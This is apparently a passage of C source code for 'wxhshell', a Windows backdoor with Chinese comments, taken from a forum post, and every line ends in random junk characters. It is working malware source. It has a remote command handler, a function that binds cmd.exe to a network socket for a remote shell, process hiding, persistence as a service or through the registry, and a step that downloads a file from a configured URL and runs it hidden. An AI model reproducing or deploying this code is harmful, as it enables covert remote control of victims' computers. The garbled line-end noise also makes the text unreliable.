  else { 8{6`?qst@  
f*p=j(sF  
    switch(cmd[0]) { ,;<M+V3+  
  HJlxpX$_  
  // 帮助 _|;{{8*?  
  case '?': { z 8#{=e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6k {gI.SG  
    break; Pw6%,?lQ  
  } 38:5g_  
  // 安装 {7_C|z:'p&  
  case 'i': { &78lep  
    if(Install()) -uhVw_qq#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .VohW=D3  
    else |M18/{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QpS7 nGev  
    break; jI<_(T  
    } J'k^(ZZ  
  // 卸载 8VC%4+.FF  
  case 'r': { tOo\s&j  
    if(Uninstall()) ogJ';i/o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ([7XtG/?  
    else ]c6h'}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 10N0?K"  
    break; O&VA79\UO  
    } ,H$%'s1I(  
  // 显示 wxhshell 所在路径 ,&Vir)S  
  case 'p': { kN 0N18E  
    char svExeFile[MAX_PATH]; <5G 4|l  
    strcpy(svExeFile,"\n\r"); ]x%sX|Rj  
      strcat(svExeFile,ExeFile); jc,Q g2  
        send(wsh,svExeFile,strlen(svExeFile),0); -av=5hm  
    break; <KE%|6oER  
    } K;>9K'n  
  // 重启 jBd=!4n  
  case 'b': { ~Qf\DTM&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k$kxw_N5d  
    if(Boot(REBOOT)) 5Z=GFKf|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Il#ST  
    else { _c(h{dn  
    closesocket(wsh); iI &z5Q2  
    ExitThread(0); XdnpL$0  
    } E*s _Y  
    break; Zt9ld=T  
    } _!w69>Nj  
  // 关机 9Q 7342  
  case 'd': { Zvra >%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u EERNo&  
    if(Boot(SHUTDOWN)) bHXoZix  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  w U1[/  
    else { {Eqx'j  
    closesocket(wsh); p=|S %  
    ExitThread(0); {]dvzoE]  
    } "EE (O9q  
    break; RS@G.|  
    } :u)Qs#'29  
  // 获取shell YHxQb$v)  
  case 's': { qt4%=E;[  
    CmdShell(wsh); ,4;'s  
    closesocket(wsh); B$S@xD $  
    ExitThread(0); .LbAR u  
    break; abS3hf  
  } !JVv`YN  
  // 退出 BH}M]<5  
  case 'x': { tGSX TF}G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *_H]?&  
    CloseIt(wsh); <$C3] =2  
    break; 5@pLGMHT  
    } (CAkzgTfc  
  // 离开 &[N_{O|  
  case 'q': { `B$Pk0>5r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NSq29#  
    closesocket(wsh); 'a:';hU3f  
    WSACleanup(); R0bgt2J  
    exit(1); FL&L$#X  
    break; 'QTa<Z)E  
        } ~(=5`9  
  } 1 qp"D_h  
  } J*AYZS-tSE  
E!>MJlA:k6  
  // 提示信息 \!%~( FM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %MEWw  
} +"|TPKas  
  } <)"i'v $  
D z[ ,;  
  return; Ylgr]?Db*  
} j+>N&.zs  
R0G!5>1i  
// shell模块句柄 qca=a }  
int CmdShell(SOCKET sock) Pu'NSNT  
{ K@{R?j/+  
STARTUPINFO si; sLSH`Xy?5  
ZeroMemory(&si,sizeof(si)); d ]#`?}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [<>%I#7ulG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  @l&{ j  
PROCESS_INFORMATION ProcessInfo; :'[ha$  
char cmdline[]="cmd"; gJg+ ]-h/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M'T[L%AP  
  return 0; 5v sn'=yN  
} AKS. XW  
|:SIyXGbY  
// 自身启动模式 ^S)t;t@x  
int StartFromService(void) mcs!A/]<  
{ m\_v{1g  
typedef struct ' t^ r2N/  
{ Ri*mu*r\}  
  DWORD ExitStatus; Wq?vAnLbk  
  DWORD PebBaseAddress; <oSx'_dc  
  DWORD AffinityMask; Jyp7+M]  
  DWORD BasePriority; m';4`Y5-  
  ULONG UniqueProcessId; *Xn6yL9  
  ULONG InheritedFromUniqueProcessId; $yUPua/-  
}   PROCESS_BASIC_INFORMATION; NFf` V  
?KE:KV[Y  
PROCNTQSIP NtQueryInformationProcess; L(C0236r  
f>m ! }F:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #IJ6pg>K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /03?(n= 3  
NL'(/|)  
  HANDLE             hProcess; {s=c!08=  
  PROCESS_BASIC_INFORMATION pbi; ^S(QvoaQ  
DU-dIq i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o@ L '|#e  
  if(NULL == hInst ) return 0; (?i4P5s[!  
e488}h6#m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K 28s<i`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (-@I'CFd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KHM,lj*  
SPauno <M  
  if (!NtQueryInformationProcess) return 0; q#"lnc<S  
F'@ 9kdp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $^YHyfh  
  if(!hProcess) return 0; S8C} C#  
E/gfX   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o?I`n*u"X  
8:Dkf v  
  CloseHandle(hProcess); V}FH5z |  
4{0vdpo3F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fu[GQ6{f  
if(hProcess==NULL) return 0; &<cP{aBa  
d^0-|sx  
HMODULE hMod; P!{J28dj  
char procName[255]; |\)Y,~;P  
unsigned long cbNeeded; a|k*A&5u2  
}{[JS=A^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n;>r  
FS*J8)  
  CloseHandle(hProcess); " ^!=e72  
%H3 iX^}*  
if(strstr(procName,"services")) return 1; // 以服务启动 UgOhx- 8  
ziv+*Qn_b4  
  return 0; // 注册表启动 G\(*z4@Gz  
} dki3(  
V|<'o<h8  
// 主模块 lQ4$d{m`  
int StartWxhshell(LPSTR lpCmdLine) c4bvJy8  
{ 7Oi<_b  
  SOCKET wsl; t&IWKu#  
BOOL val=TRUE; >;}(? +|f  
  int port=0; - <tTT  
  struct sockaddr_in door; 3w/z$bj  
b$tf9$f  
  if(wscfg.ws_autoins) Install(); GKG:iR)  
+Q"XwxL<6  
port=atoi(lpCmdLine); qVvnl  
Ix0#eoj  
if(port<=0) port=wscfg.ws_port; Eks<O  
=!/T4Oo  
  WSADATA data; $MM[`^~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N5tFEV'G  
]jR-<l8I-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L\"eE'A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {#&D=7LP  
  door.sin_family = AF_INET; JtF)jRB0,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0QEcJ]Qb8  
  door.sin_port = htons(port); TjpAJW@-  
c57`mOe/b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xX8 c>p  
closesocket(wsl); @2>ce2+  
return 1; ]#rN z"  
} ^Gi WU +`  
'G`xD3 E3,  
  if(listen(wsl,2) == INVALID_SOCKET) { yz)Nco]  
closesocket(wsl); ler$HA%F]  
return 1; W~s:SN  
} dE 3M   
  Wxhshell(wsl); y4H/CH$%  
  WSACleanup(); 8SCXA9}  
aaI5x  
return 0; SXV2Y-  
<irr .O  
} s,M]f,T  
8/~@3-9EK  
// 以NT服务方式启动 %iZ~RTY6 !  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "J `#  
{ BiZYGq  
DWORD   status = 0; tw] l  
  DWORD   specificError = 0xfffffff; dd4^4X`j  
ho!qXS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TnuA uui*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V0_^==Vs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d^"|ESQEU  
  serviceStatus.dwWin32ExitCode     = 0; NYR:dH]N~d  
  serviceStatus.dwServiceSpecificExitCode = 0; r_o\72  
  serviceStatus.dwCheckPoint       = 0; X#X/P  
  serviceStatus.dwWaitHint       = 0; )H&ZHaO,_  
}x_:v!G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r]S"i$  
  if (hServiceStatusHandle==0) return; .EjjCE/v-  
i\* b<V  
status = GetLastError(); %V(U]sbV  
  if (status!=NO_ERROR) %B\VY+  
{ i3>_E <"9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >=3oe.$)  
    serviceStatus.dwCheckPoint       = 0; 1TgD;qX  
    serviceStatus.dwWaitHint       = 0; +77j2W_0  
    serviceStatus.dwWin32ExitCode     = status; '1Ex{$Yk  
    serviceStatus.dwServiceSpecificExitCode = specificError; $`L |  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _gpf9ad  
    return; v}@Uc-(  
  } "a<:fEsSE  
C~M,N|m+^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6hHMxS^o  
  serviceStatus.dwCheckPoint       = 0; ^vI`#}?  
  serviceStatus.dwWaitHint       = 0; O1oh,~W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t*-_MG  
} Yv[<c!\   
w4RtIDW:  
// 处理NT服务事件,比如:启动、停止 r\q|DZ7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .la_u8A]  
{ w(Q{;RNM;  
switch(fdwControl) 3RI %OCGF  
{ ~6[3Km|2  
case SERVICE_CONTROL_STOP: qGzF@p(p8  
  serviceStatus.dwWin32ExitCode = 0; ]oKHS$W9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {Ut,xi  
  serviceStatus.dwCheckPoint   = 0; :GM3n$  
  serviceStatus.dwWaitHint     = 0; `/(9 #E  
  { {k']nI.>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Y"./BDY  
  } P R_| 8H|  
  return; v5W-f0Jo  
case SERVICE_CONTROL_PAUSE: ; Ji3|=4u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >ffQ264g=i  
  break; 3+! G9T!  
case SERVICE_CONTROL_CONTINUE: 0u I=8j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [] R8VC>Ah  
  break; )\{]4[9N  
case SERVICE_CONTROL_INTERROGATE: U \F ?{/  
  break; ayLINpL  
}; }50s\H._C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \{o<-S;h  
} 1Q$/L+uJ5  
^fbzlu?G4-  
// 标准应用程序主函数 6Zv-kG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ra1_XR}  
{ {G=|fgz  
?%b#FXA  
// 获取操作系统版本 r$,Xv+}  
OsIsNt=GetOsVer(); U bh)}G,Mg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )OFf nKh  
fD2 N}  
  // 从命令行安装 Na+3aM%%  
  if(strpbrk(lpCmdLine,"iI")) Install(); VrJf g  
5zF$Q{3  
  // 下载执行文件 ,F=FM>o  
if(wscfg.ws_downexe) { ~vMJ?P@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zSBR_N51  
  WinExec(wscfg.ws_filenam,SW_HIDE); F2Mxcs* M  
} H)X&5E  
 y`pgJO  
if(!OsIsNt) { {7EpljH@  
// 如果时win9x,隐藏进程并且设置为注册表启动 kU{a!ca4  
HideProc(); ,/dW*B  
StartWxhshell(lpCmdLine); es\Fn#?O  
} t*Z4&Sy^  
else .F0Q< s9  
  if(StartFromService()) h<g2aL21?F  
  // 以服务方式启动 VD+v \X_  
  StartServiceCtrlDispatcher(DispatchTable); |[$ TT$Fb  
else 7_L$XIa  
  // 普通方式启动 t~Q j$:\  
  StartWxhshell(lpCmdLine); -CTLQyj)  
a *nCvZ  
return 0; _DYe<f.  
}
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只看该作者 1 发表于: 2006-10-10
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